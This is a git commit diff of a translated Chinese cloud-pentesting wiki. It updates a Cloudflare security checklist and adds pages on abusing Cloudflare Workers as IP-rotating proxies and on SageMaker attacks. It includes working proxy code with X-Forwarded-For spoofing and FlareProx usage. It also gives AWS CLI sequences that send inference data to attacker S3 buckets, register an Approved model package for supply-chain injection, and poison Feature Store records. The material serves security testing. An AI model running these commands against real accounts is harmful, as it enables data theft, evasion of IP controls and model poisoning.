Translated ['src/pentesting-ci-cd/cloudflare-security/README.md', 'src/p

This commit is contained in:
Translator
2025-10-23 13:43:39 +00:00
parent 13b8f4141a
commit e3f4c3741d
5 changed files with 440 additions and 155 deletions

View File

@@ -1,8 +1,8 @@
# Cloudflare Security
# Cloudflare 安全
{{#include ../../banners/hacktricks-training.md}}
在 Cloudflare 户中,有一些 **通用设置和服务** 可以进行配置。在本页中,我们将 **分析每个部分安全相关设置:**
在 Cloudflare 户中,有一些可以配置的 **常规设置和服务**。在本页中,我们将 **分析每个部分安全相关设置:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
@@ -16,7 +16,7 @@ cloudflare-domains.md
### Domain Registration
- [ ]**`Transfer Domains`** 中检查是否无法转移任何域名。
- [ ]**`Transfer Domains`** 中检查是否不可能转移任何域名。
逐一检查:
@@ -26,37 +26,43 @@ cloudflare-domains.md
## Analytics
_我找不到任何可以检查配置安全审查的内容。_
_我找不到任何可以配置安全审查中检查的内容。_
## Pages
每个 Cloudflare 页面上
对于每个 Cloudflare 的 page
- [ ] 检查 **`Build log`** 中 **敏感信息**
- [ ] 检查分配给页面**Github 仓库** 中的 **敏感信息**
- [ ] 检查通过 **workflow command injection**`pull_request_target` 可能导致的 GitHub 仓库泄露。更多信息请参见 [**Github Security page**](../github-security/)。
- [ ] 检查 `/fuctions` 目录中的 **脆弱函数**(如果有),检查 `_redirects` 文件中的 **重定向**(如果有)和 `_headers` 文件中的 **错误配置的头部**(如果有)
- [ ] 通过 **blackbox****whitebox** 检查 **网页** **漏洞**,如果您可以 **访问代码**
- [ ] 在每个页面的详细信息 `/<page_id>/pages/view/blocklist/settings/functions` 中检查 **`Environment variables`** 中的 **敏感信息**
- [ ] 在详细信息页面中,还要检查 **构建命令****根目录** 以查找 **潜在注入** 以危害页面
- [ ] **`Build log`** 中检查 **敏感信息**
- [ ] 检查分配给 pages **Github repository** 中的 **敏感信息**
- [ ] 检查通过 **workflow command injection**`pull_request_target` 导致的潜在 github repo 被入侵。更多信息见 [**Github Security page**](../github-security/index.html)。
- [ ] 检查 `/fuctions` 目录(如果有)中是否存在 **易受攻击的函数**,检查 `_redirects` 文件(如果有)中的 **redirects**,以及 `_headers` 文件(如果有)中的 **错误配置的 headers**
- [ ] 如果你可以 **访问代码**,通过黑盒或白盒方法检查 **web page****漏洞**
- [ ] 在每个 page 的详情 `/<page_id>/pages/view/blocklist/settings/functions`检查 **`Environment variables`** 是否包含 **敏感信息**
- [ ] 在详情页还要检查 **build command****root directory** 是否存在可导致页面被攻破的 **注入**
## **Workers**
在每个 Cloudflare 的 worker 检查:
在每个 Cloudflare 的 worker 检查:
- [ ] 触发:是什么使 worker 触发?用户是否可以发送被 worker **使用** 的数据?
- [ ]**`Settings`** 中,检查包含 **敏感信息****`Variables`**
- [ ] 检查 **worker 的代码** 并搜索 **漏洞**特别是在用户可以管理输入的地方)
- 检查 SSRFs 返回可以控制的指定页面
- 检查 XSS 在 svg 图像内执行 JS
- worker 可能与其他内部服务交互。例如worker 可能与存储从输入获得的信息的 R2 存储桶交互。在这种情况下,需要检查 worker 对 R2 存储桶的能力以及如何可能被用户输入滥用。
- [ ] 触发条件:是什么触发 worker?用户能否发送被 worker 使用的数据?
- [ ]**`Settings`** 中,检查包含 **敏感信息****`Variables`**
- [ ] 检查 worker 的 **代码** 并搜索 **漏洞**尤其是在用户可以控制输入的地方)
- 检查 SSRFs 返回可以控制的指定页面
- 检查 XSSs 在 svg 图像内执行 JS
- worker 可能与其他内部服务交互。例如worker 可能会与一个 R2 bucket 交互,将从输入获得的信息存储在其中。在这种情况下,需要检查 worker 对 R2 bucket 拥有哪些能力以及如何可能被用户输入滥用。
> [!WARNING]
> 注意,默认情况下**Worker 会被赋予一个 URL**,例如 `<worker-name>.<account>.workers.dev`。用户可以将其设置为 **子域名**,但如果知道该 **原始 URL**您始终可以通过该 URL 访问
> 注意,默认情况下 **Worker 会被分配一个 URL**,例如 `<worker-name>.<account>.workers.dev`。用户可以将其设置为一个子域名,但如果知道该 **原始 URL**仍然可以通过访问。
有关将 Workers 作为透传代理IP 轮换、FireProx 风格)的实用滥用示例,请查看:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
## R2
在每个 R2 存储桶中检查:
在每个 R2 bucket 上检查:
- [ ] 配置 **CORS Policy**
@@ -70,8 +76,8 @@ TODO
## Security Center
- [ ] 如果可能,运行 **`Security Insights`** **扫描** **`Infrastructure`** **扫描**,因为它们将 **突出** 有趣的信息 **安全** 方面
- [ ] 仅检查信息以查找安全错误配置和有趣的信息
- [ ] 如果可能,运行一次 **`Security Insights`** 扫描和一次 **`Infrastructure`** 扫描,因为它们会在安全方面 **突出显示** 有趣的信息。
- [ ]检查这些信息以发现安全错误配置和有趣的信息
## Turnstile
@@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) 不同, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) 本质上是静态的——它们不支持任何字符串替换操作或正则表达式。但是,您可以配置影响其 URL 匹配行为和运行时行为的 URL 重定向参数。
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] 检查 **重定向的表达式****要求** 是否 **合理**
- [ ] 还要检查 **敏感隐藏端点**,其中可能包含有趣的信息
- [ ] 检查重定向的 **expressions****requirements** 是否合理
- [ ] 还要检查是否存在包含有趣信息的 **敏感隐藏端点**
## Notifications
- [ ] 检查 **通知**。这些通知建议用于安全
- [ ] 检查 **notifications。** 推荐用于安全的通知包括
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] 检查所有 **目的地**,因为 webhook urls 中可能存在 **敏感信息**基本 http auth。还要确保 webhook urls 使用 **HTTPS**
- [ ] 作为额外检查,可以尝试 **冒充 Cloudflare 通知** 给第三方,也许您可以以某种方式 **注入一些危险的东西**
- [ ] 检查所有 **destinations**,因为 webhook urls 中可能包含 **敏感信息**如 basic http auth。还要确保 webhook urls 使用 **HTTPS**
- [ ] 作为额外检查,可以尝试 **冒充 cloudflare 通知** 发送给第三方,或许你可以以某种方式 **注入一些危险内容**
## Manage Account
- [ ] 可以**`Billing` -> `Payment info`** 中查看 **信用卡的最后 4 位数字**、**到期** 时间**账单地址**
- [ ] 可以**`Billing` -> `Subscriptions`** 中查看账户中使用的 **计划类型**
- [ ]**`Members`** 中可以查看账户的所有成员及其 **角色**注意,如果计划类型不是企业版,则仅存在 2 个角色:管理员和超级管理员。但如果使用的 **计划是企业版**可以使用 [**更多角色**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) 遵循最小权限原则。
- 因此,尽可能 **建议** 使用 **企业计划**
- [ ]成员中,可以检查哪些 **成员** 启用 **2FA**。**每个** 用户都应启用它。
- [ ]**`Billing` -> `Payment info`** 中可以看到信用卡的 **后四位数字**、**到期时间** 和 **账单地址**
- [ ]**`Billing` -> `Subscriptions`** 中可以看到帐户使用的 **plan type**
- [ ]**`Members`** 中可以看到帐户的所有成员及其 **role**。注意,如果 plan type 不是 Enterprise则只有两个角色Administrator 和 Super Administrator。但如果使用的 **Enterprise** 计划,可以使用 [**更多角色**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) 遵循最小权限原则。
- 因此,尽可能 **建议** 使用 **Enterprise plan**
- [ ] Members 中可以检查哪些 **成员** 启用 **2FA**。**每个**用户都应启用它。
> [!NOTE]
> 注意,幸运的是角色 **`Administrator`** 不授予管理成员资格的权限(**无法提升权限或邀请** 新成员)
> 注意,幸运的是角色 **`Administrator`** 并不赋予管理成员资格的权限(**不能提升权限或邀请** 新成员)
## DDoS Investigation
[检查此部分](cloudflare-domains.md#cloudflare-ddos-protection)
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,286 @@
# 滥用 Cloudflare Workers 作为 pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers 可以被部署为透明的 HTTP pass-through proxies在这种情况下上游目标 URL 由客户端提供。请求从 Cloudflare 的网络发出,因此目标看到的是 Cloudflare 的 IP 而不是客户端的 IP。这类似于在 AWS API Gateway 上著名的 FireProx 技术,但使用的是 Cloudflare Workers。
### 主要功能
- 支持所有 HTTP 方法 (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- 目标可以通过查询参数 (?url=...)、一个 header (X-Target-URL),或甚至编码在路径中(例如 /https://target提供
- 按需通过代理转发 headers 和 body并执行 hop-by-hop/header 过滤
- 响应被转发回客户端,保留状态码和大部分 headers
- 可选的 X-Forwarded-For 欺骗(如果 Worker 从用户可控的 header 设置它)
- 通过部署多个 Worker 端点并分发请求可以实现极其快速/简单的 IP rotation
### 工作原理(流程)
1) 客户端向 Worker URL (`<name>.<account>.workers.dev` or a custom domain route) 发送 HTTP 请求。
2) Worker 从查询参数 (?url=...)、X-Target-URL header或如果实现了则从路径段中提取目标。
3) Worker 将传入的方法、headers 和 body 转发到指定的上游 URL过滤有问题的 headers
4) 上游响应通过 Cloudflare 流式传回客户端;源服务器看到的是 Cloudflare 的出站 IP。
### Worker 实现示例
- 从查询参数、header 或路径读取目标 URL
- 复制安全的 headers 子集并转发原始方法/主体
- 可选地使用用户可控的 header (X-My-X-Forwarded-For) 或随机 IP 设置 X-Forwarded-For
- 添加宽松的 CORS 并处理 preflight
<details>
<summary>示例 Worker (JavaScript) 用于 pass-through proxying</summary>
```javascript
/**
* Minimal Worker pass-through proxy
* - Target URL from ?url=, X-Target-URL, or /https://...
* - Proxies method/headers/body to upstream; relays response
*/
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
try {
const url = new URL(request.url)
const targetUrl = getTargetUrl(url, request.headers)
if (!targetUrl) {
return errorJSON('No target URL specified', 400, {
usage: {
query_param: '?url=https://example.com',
header: 'X-Target-URL: https://example.com',
path: '/https://example.com'
}
})
}
let target
try { target = new URL(targetUrl) } catch (e) {
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
}
// Forward original query params except control ones
const passthru = new URLSearchParams()
for (const [k, v] of url.searchParams) {
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
}
if (passthru.toString()) target.search = passthru.toString()
// Build proxied request
const proxyReq = buildProxyRequest(request, target)
const upstream = await fetch(proxyReq)
return buildProxyResponse(upstream, request.method)
} catch (error) {
return errorJSON('Proxy request failed', 500, {
message: error.message,
timestamp: new Date().toISOString()
})
}
}
function getTargetUrl(url, headers) {
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
if (!t && url.pathname !== '/') {
const p = url.pathname.slice(1)
if (p.startsWith('http')) t = p
}
return t
}
function buildProxyRequest(request, target) {
const h = new Headers()
const allow = [
'accept','accept-language','accept-encoding','authorization',
'cache-control','content-type','origin','referer','user-agent'
]
for (const [k, v] of request.headers) {
if (allow.includes(k.toLowerCase())) h.set(k, v)
}
h.set('Host', target.hostname)
// Optional: spoof X-Forwarded-For if provided
const spoof = request.headers.get('X-My-X-Forwarded-For')
h.set('X-Forwarded-For', spoof || randomIP())
return new Request(target.toString(), {
method: request.method,
headers: h,
body: ['GET','HEAD'].includes(request.method) ? null : request.body
})
}
function buildProxyResponse(resp, method) {
const h = new Headers()
for (const [k, v] of resp.headers) {
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
h.set(k, v)
}
}
// Permissive CORS for tooling convenience
h.set('Access-Control-Allow-Origin', '*')
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
h.set('Access-Control-Allow-Headers', '*')
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
}
function errorJSON(msg, status=400, extra={}) {
return new Response(JSON.stringify({ error: msg, ...extra }), {
status, headers: { 'Content-Type': 'application/json' }
})
}
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
```
</details>
### 使用 FlareProx 自动化部署与轮换
FlareProx 是一个 Python 工具,使用 Cloudflare API 部署多个 Worker 端点并在它们之间进行轮换。这能够从 Cloudflare 的网络提供类似 FireProx 的 IP 轮换。
设置
1) 使用 “Edit Cloudflare Workers” 模板创建一个 Cloudflare API Token并从仪表板获取你的 Account ID。
2) 配置 FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
cd flareprox
pip install -r requirements.txt
```
**创建配置文件 flareprox.json:**
```json
{
"cloudflare": {
"api_token": "your_cloudflare_api_token",
"account_id": "your_cloudflare_account_id"
}
}
```
**CLI 用法**
- 创建 N Worker proxies:
```bash
python3 flareprox.py create --count 2
```
- 列出 endpoints:
```bash
python3 flareprox.py list
```
- 健康检查端点:
```bash
python3 flareprox.py test
```
- 删除所有 endpoints:
```bash
python3 flareprox.py cleanup
```
**通过 Worker 路由流量**
- 查询参数形式:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
```
- 头部格式:
```bash
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
```
- 路径形式(如果已实现):
```bash
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
```
- 方法示例:
```bash
# GET
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
# POST (form)
curl -X POST -d "username=admin" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
# PUT (JSON)
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
# DELETE
curl -X DELETE \
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
```
**`X-Forwarded-For` 控制**
如果 Worker 尊重 `X-My-X-Forwarded-For`,你可以影响上游 `X-Forwarded-For` 值:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
```
**编程用法**
使用 FlareProx 库在 Python 中创建/列出/测试 endpoints 并路由请求。
<details>
<summary>Python 示例:通过随机 Worker endpoint 发送 POST</summary>
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
import json
# Initialize
flareprox = FlareProx(config_file="flareprox.json")
if not flareprox.is_configured:
print("FlareProx not configured. Run: python3 flareprox.py config")
exit(1)
# Ensure endpoints exist
endpoints = flareprox.sync_endpoints()
if not endpoints:
print("Creating proxy endpoints...")
flareprox.create_proxies(count=2)
# Make a POST request through a random endpoint
try:
post_data = json.dumps({
"username": "testuser",
"message": "Hello from FlareProx!",
"timestamp": "2025-01-01T12:00:00Z"
})
headers = {
"Content-Type": "application/json",
"User-Agent": "FlareProx-Client/1.0"
}
response = flareprox.redirect_request(
target_url="https://httpbin.org/post",
method="POST",
headers=headers,
data=post_data
)
if response.status_code == 200:
result = response.json()
print("✓ POST successful via FlareProx")
print(f"Origin IP: {result.get('origin', 'unknown')}")
print(f"Posted data: {result.get('json', {})}")
else:
print(f"Request failed with status: {response.status_code}")
except FlareProxError as e:
print(f"FlareProx error: {e}")
except Exception as e:
print(f"Request error: {e}")
```
</details>
**Burp/Scanner 集成**
- 将工具(例如 Burp Suite指向 Worker URL。
- 使用 ?url= 或 X-Target-URL 提供真实的上游。
- HTTP 语义methods/headers/body会被保留同时将你的源 IP 隐藏在 Cloudflare 之后。
**操作注意事项与限制**
- Cloudflare Workers Free plan 允许每个账号大约 100,000 次请求/天;如有需要,通过多个 endpoints 分散流量。
- Workers 在 Cloudflare 的网络上运行;许多目标只会看到 Cloudflare IPs/ASN这可能绕过简单的 IP allow/deny 列表或地理启发式判断。
- 请负责任地使用,且仅在获得授权的情况下。遵守 ToS 和 robots.txt。
## 参考资料
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,18 +2,18 @@
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker endpoint 数据窃取 via UpdateEndpoint DataCaptureConfig
## 通过 UpdateEndpoint DataCaptureConfig 从 SageMaker endpoint 抽取数据
滥用 SageMaker endpoint 管理以启用对完整请求/响应的捕获,将数据发送到攻击者控制的 S3 ,而无需接触模型或容器。使用零/低停机时间的滚动更新,并且仅需要 endpoint 管理权限。
滥用 SageMaker endpoint 管理功能,使完整请求/响应可以捕获并发送到攻击者控制的 S3 bucket,而无需接触模型或容器。该方法使用零/低停机时间的滚动更新,并且仅需要 endpoint 管理权限。
### Requirements
### 要求
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (或使用同一账号中的现有桶)
- 可选(如果使用 SSEKMS在选定的 CMK 上具有 `kms:Encrypt`
- Target: An existing InService realtime endpoint in the same account/region
- S3: `s3:CreateBucket` (或同一账号中使用现有 bucket)
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: 同一账号/区域中已存在的 InService 实时 endpoint
### Steps
1) 识别一个 InService endpoint 并收集当前的 production variants
### 步骤
1) 识别一个处于 InService 状态的 endpoint 并收集当前的 production variants
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,7 +22,7 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) 为捕获准备 attacker S3 目标位置
2) 准备 attacker S3 目标用于捕获
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
@@ -30,7 +30,7 @@ aws s3 mb s3://$BUCKET --region $REGION
```
3) 创建一个新的 EndpointConfig保留相同的 variants但将 DataCapture 启用到 attacker bucket
注意:使用满足 CLI 验证的显式 content types
注意:使用明确的内容类型以满足 CLI 验证。
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,7 +54,7 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) 使用 rolling update 应用新的 configminimal/no downtime
4) 使用 rolling update 应用新配置 (最小/无停机)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
@@ -66,25 +66,25 @@ aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) attacker S3 中验证捕获内容
6) 验证 attacker S3 中的捕获
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### 影响
- Full exfiltration of realtime inference request and response payloads (and metadata) 从目标 endpoint 到攻击者控制的 S3 存储桶
- 无需修改模型/容器镜像,仅在 endpoint 级别进行更改,从而实现最小运营中断进行隐蔽的数据窃取路径。
- 将目标 endpoint 的实时推理请求和响应载荷(及元数据)完全 exfiltration 到攻击者控制的 S3 bucket
- 不修改 model/container image,仅在 endpoint 级别进行更改,从而实现最小运营中断的隐蔽 data theft 路径。
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
## SageMaker 异步推理输出劫持 via UpdateEndpoint AsyncInferenceConfig
滥用 endpoint 管理,通过克隆当前 EndpointConfig 并设置 AsyncInferenceConfig.OutputConfig 的 S3OutputPath/S3FailurePath将异步推理输出重定向到攻击者控制的 S3 存储桶。This exfiltrates model predictions (and any transformed inputs included by the container) 而无需修改模型/容器
滥用 endpoint 管理,通过克隆当前 EndpointConfig 并设置 AsyncInferenceConfig.OutputConfig 的 S3OutputPath/S3FailurePath将异步推理输出重定向到攻击者控制的 S3 bucket。该操作 exfiltrates 模型预测(以及容器包含的任何已转换输入),且无需修改 model/container
### Requirements
### 要求
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: 能够写入攻击者控制的 S3 存储桶(通过模型执行角色或宽松的存储桶策略
- Target: 一个 InService 状态且正在(或将要)使用异步调用的 endpoint
- S3: 能够攻击者 S3 bucket 写入(通过 model execution role 或宽松的 bucket policy
- 目标: 一个 InService endpoint在此处异步调用已被使用或将被使用
### Steps
### 步骤
1) 从目标 endpoint 收集当前的 ProductionVariants
```bash
REGION=${REGION:-us-east-1}
@@ -92,13 +92,13 @@ EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) 创建一个 attacker bucket确保模型执行角色对其具有 PutObject 权限)
2) 创建 attacker bucket确保 model execution role 对其具有 PutObject 权限)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) 克隆 EndpointConfig 并 hijack AsyncInference outputs 到 attacker bucket
3) 克隆 EndpointConfig 并 AsyncInference 输出劫持到攻击者 bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) 触发 async invocation并验证对象是否落入攻击者的 S3
4) 触发异步调用并验证对象是否到达攻击者的 S3
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,20 +117,20 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### 影响
- 将异步推理结果(以及错误体)重定向到攻击者控制的 S3允许隐蔽地外传预测结果以及容器产生的可能敏感的/后处理输入,且无需更改模型代码或镜像,并且停机时间极短或无停机
- 将异步推理结果(和错误正文)重定向到攻击者控制的 S3从而在不更改模型代码或镜像且几乎无停机的情况下,隐蔽地外传预测结果以及容器产生的可能敏感的预处理/后处理输入。
## SageMaker Model Registry 通过 CreateModelPackage(Approved) 的供应链注入
## SageMaker Model Registry 通过 CreateModelPackage(Approved) 进行的供应链注入
如果攻击者能在目标 SageMaker Model Package Group 上执行 CreateModelPackage他们可以注册一个指向攻击者控制的容器镜像的新模型版本并立即将其标记为 Approved。许多 CI/CD 流水线会将 Approved 的模型版本自动部署到端点或训练作业,从而导致攻击者在服务的执行角色下执行代码。如果 ModelPackageGroup 资源策略过于宽松,跨账户暴露风险会被放大
如果攻击者能在目标 SageMaker Model Package Group 上执行 CreateModelPackage可以注册一个指向攻击者控制的容器镜像的新模型版本并立即将其标记为 Approved。许多 CI/CD 流水线会自动将 Approved 的模型版本部署到 endpoints 或 training jobs,从而导致攻击者在服务的执行角色下执行代码。宽松的 ModelPackageGroup 资源策略可能会放大跨账户暴露。
### 要求
- IAM现有组实施篡改的最低权限):在目标 ModelPackageGroup 上拥有 `sagemaker:CreateModelPackage`
- 可选(如果要创建组):`sagemaker:CreateModelPackageGroup`
- S3对引用的 ModelDataUrl 的读取权限(或托管攻击者控制的工件
- 目标:下游自动化会监控以部署 Approved 版本的 Model Package Group
- IAM污染现有组的最低权限):`sagemaker:CreateModelPackage` 在目标 ModelPackageGroup 上
- 可选(如需在不存在时创建组):`sagemaker:CreateModelPackageGroup`
- S3对引用的 ModelDataUrl 的读取访问(或托管攻击者控制的制品
- 目标:下游自动化会监视以寻找 Approved 版本的 Model Package Group
### 步骤
1) 设置区域并创建/查找目标 Model Package Group
1) 设置区域并创建查找目标 Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
@@ -144,7 +144,7 @@ aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) 注册一个恶意此处为良性Approved model package version引用一个公共 AWS DLC 镜像
3) 注册一个引用公共 AWS DLC 镜像的恶意(此处为良性)已批准的模型包版本
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
@@ -161,18 +161,19 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) 验证新的已批准版本是否存在
4) 验证新的 Approved 版本是否存在
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### 影响
- 将 Model Registry 污染为一个引用攻击者控制代码的 Approved 版本。自动部署 Approved 模型的 Pipelines 可能会拉取并运行攻击者镜像,从而在 endpoint/training roles 下导致代码执行。
- ModelPackageGroup resource policy (PutModelPackageGroupPolicy) 宽松的情况下,该滥用可以被 cross-account 触发。
### Impact
- 使用引用攻击者控制代码的 Approved 版本来污染 Model Registry。自动部署 Approved 模型的 Pipelines 可能会拉取并运行攻击者镜像,从而在 endpoint/training 角色下导致代码执行。
- 如果 ModelPackageGroup 资源策略(PutModelPackageGroupPolicy)权限宽松,此滥用可以跨账户触发。
## Feature store poisoning
滥用 `sagemaker:PutRecord`启用 OnlineStore 的 Feature Group 进行写入,以覆盖被 online inference 使用的实时特征值。结合 `sagemaker:GetRecord`,攻击者可以读取敏感特征。该攻击不需要访问 models 或 endpoints。
启用 OnlineStore 的 Feature Group 上滥用 `sagemaker:PutRecord`,可覆盖被在线推理消费的实时特征值。结合 `sagemaker:GetRecord`,攻击者可以读取敏感特征。此操作不需要访问 models 或 endpoints。
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,19 @@
# SageMaker Feature Store online store poisoning
滥用 `sagemaker:PutRecord` 对启用了 OnlineStore 的 Feature Group 进行写入,以覆盖被在线推理使用的实时特征值。配合 `sagemaker:GetRecord`,攻击者可以读取敏感特征并外泄机密的 ML 数据。此攻击不需要访问模型或端点,因此是直接的数据层攻击。
{{#include ../../../../banners/hacktricks-training.md}}
## 要求
- 权限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 目标:启用了 OnlineStore 的 Feature Group通常用于支持实时推理
- 复杂度: **LOW** - 简单的 AWS CLI 命令,无需修改模型
在启用了 OnlineStore 的 Feature Group 上滥用 `sagemaker:PutRecord`,以覆盖被在线推理使用的实时特征值。结合 `sagemaker:GetRecord`,攻击者可以读取敏感特征。此操作不需要访问模型或 endpoints。
## 步骤
## Requirements
- 权限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 目标: 启用了 OnlineStore 的 Feature Group通常用于支持实时推理
- 复杂度: **LOW** - 简单的 AWS CLI 命令,无需操作模型
### 侦察
## Steps
1) 列出启用 OnlineStore 的 Feature Groups
### Reconnaissance
1) 列出启用了 OnlineStore 的 Feature Groups
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
@@ -26,9 +28,9 @@ aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
注意 `RecordIdentifierFeatureName``EventTimeFeatureName` 和所有特征定义。这些是构造有效记录必需的。
注意 `RecordIdentifierFeatureName``EventTimeFeatureName` 和所有特征定义。它们对于构造有效记录必需的。
### 攻击场景 1: Data Poisoning (覆盖现有记录)
### 攻击场景 1: Data Poisoning (Overwrite Existing Records)
1) 读取当前合法记录
```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) 使用内联 `--record` 参数将记录投毒为恶意值
2) 使用内联 `--record` 参数用恶意值污染记录
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -61,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**影响**:消费此特征的 ML 模型现在会看到合法用户的 `risk_score=0.99`,可能导致其交易或服务被阻止
**影响**: 使用此特征的 ML 模型现在会看到 `risk_score=0.99` 对于合法用户,可能阻止其交易或服务。
### 攻击场景 2:恶意数据注入(创建伪造记录)
### 攻击场景 2: Malicious Data Injection (Create Fraudulent Records)
